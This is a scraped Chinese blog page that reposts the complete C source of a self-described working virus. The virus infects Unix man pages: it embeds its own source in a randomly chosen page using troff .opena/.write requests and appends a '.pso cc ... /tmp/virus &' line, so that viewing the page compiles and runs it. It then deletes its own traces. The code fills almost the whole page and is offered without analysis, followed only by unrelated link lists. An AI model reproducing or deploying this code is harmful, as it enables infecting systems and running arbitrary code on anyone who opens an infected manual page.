-
Manpage 原代码
![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif)
Code
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif)
/**//*** BE CAREFUL! THIS IS A FULL FUNCTIONALL VIRUS!
*** ABSOLUTELY NO WARRANTY! IT COMES UNDER THE GPL!
***/
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <stdlib.h>
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
const char *viriiSource = "/tmp/virus.c";
const char *tmpVictum = "/tmp/victum";
const char *ident = ".\x5c\x22VIRUS\x0a";
char path[] = "/usr/man/manx";
int wasZipped = 0;
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
char *findVictum();
int infectVictum(char *);
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
int main(int argc, char **argv)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif)
{
infectVictum(findVictum());
unlink(viriiSource);
unlink(*argv);
}
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
char *findVictum()
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif)
{
DIR *dp;
FILE *fd;
struct dirent *de;
int index = 0;
char buf[1000];
static char pathname[1000];
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* inititialization */
memset(buf, 0, 1000);
memset(pathname, 0, 1000);
srand(time(NULL));
index = rand() % 3;
path[12] = index + 49;
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if ((dp = opendir(path)) == NULL)
{
return NULL;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* skip "." and ".." */
readdir(dp); readdir(dp);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
while (1)
{
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* read next entry */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if ((de = readdir(dp)) == NULL)
{
closedir(dp);
return NULL;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* create full pathname */
sprintf(pathname, "%s/%s", path, de->d_name);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* if zipped */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if (strstr(pathname, ".gz"))
{
sprintf(buf, "gunzip %s", pathname);
system(buf);
wasZipped = 1;
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* without '.gz' */
pathname[strlen(pathname) - 3 ] = 0;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* get next filename from directory */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if ((fd = fopen(pathname, "r")) == NULL)
{
continue;
}
fgets(buf, 100, fd);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* look if not already infected */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if (strcmp(buf, ident) == 0)
{
fclose(fd);
memset(buf, 0, 1000);
memset(pathname, 0, 1000);
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
} else
{
fclose(fd);
return pathname;
}
}
}
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
int infectVictum(char *victum)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedBlockStart.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ContractedBlock.gif)
{
char buf[1000];
FILE *virusIn, *victumIn, *tmpOut;
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
memset(buf, 0, 1000);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if ((virusIn = fopen(viriiSource, "r")) == NULL)
{
return 1;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if ((tmpOut = fopen(tmpVictum, "a")) == NULL)
{
fclose(virusIn);
return 1;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if ((victumIn = fopen(victum, "r")) == NULL)
{
fclose(virusIn);
fclose(tmpOut);
unlink(tmpVictum);
}
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* write ident-string to man-page */
fprintf(tmpOut, "%s", ident);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* and append the original man-page */
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
while (fgets(buf, 999, victumIn) != NULL)
{
fprintf(tmpOut, "%s", buf);
memset(buf, 1000, 0);
}
fclose(victumIn);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* finally append virus-code to it */
sprintf(buf, ".opena v %s\x0a", viriiSource);
fprintf(tmpOut, "%s", buf);
memset(buf, 0, 1000);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
while (fgets(buf, 999, virusIn) != NULL)
{
fprintf(tmpOut, ".write v %s", buf);
memset(buf, 0, 1000);
}
sprintf(buf, ".pso cc %s -o /tmp/virus;/tmp/virus &\x0a", viriiSource);
fprintf(tmpOut, "%s", buf);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
fclose(virusIn);
fclose(tmpOut);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
unlink(victum);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
/**//* our smart-copy ;-) */
link(tmpVictum, victum);
unlink(tmpVictum);
![](https://www.cnblogs.com/Images/OutliningIndicators/InBlock.gif)
![](https://www.cnblogs.com/Images/OutliningIndicators/ExpandedSubBlockStart.gif)
if (wasZipped)
{
sprintf(buf, "gzip %s", victum);
system(buf);
}
return 0;
}
![](https://www.cnblogs.com/Images/OutliningIndicators/None.gif)
-
相关阅读:
解决 .net Core 3.1中使用GB2312编码异常
sql server datetime类型字段使用isnull返回1900-01-01 00:00:00.000的问题
c# – 从.NET中的字符串获取url参数
fastjson对象,JSON,字符串,map之间的互转
Java工具:Java递归去除Json字符串空值(key和value)
vue运行报错 ‘vue-cli-service‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件。
java调用CTP API坑【我】
SpringBoot在logback.xml中读取application.properties中配置的日志路径
org.apache.ibatis.binding.BindingException: Invalid bound statement (not found): com【我】
springboot mybatis-plus分页配置不生效【我】
-
原文地址:https://www.cnblogs.com/phirothing/p/1396016.html
Copyright © 2020-2023
润新知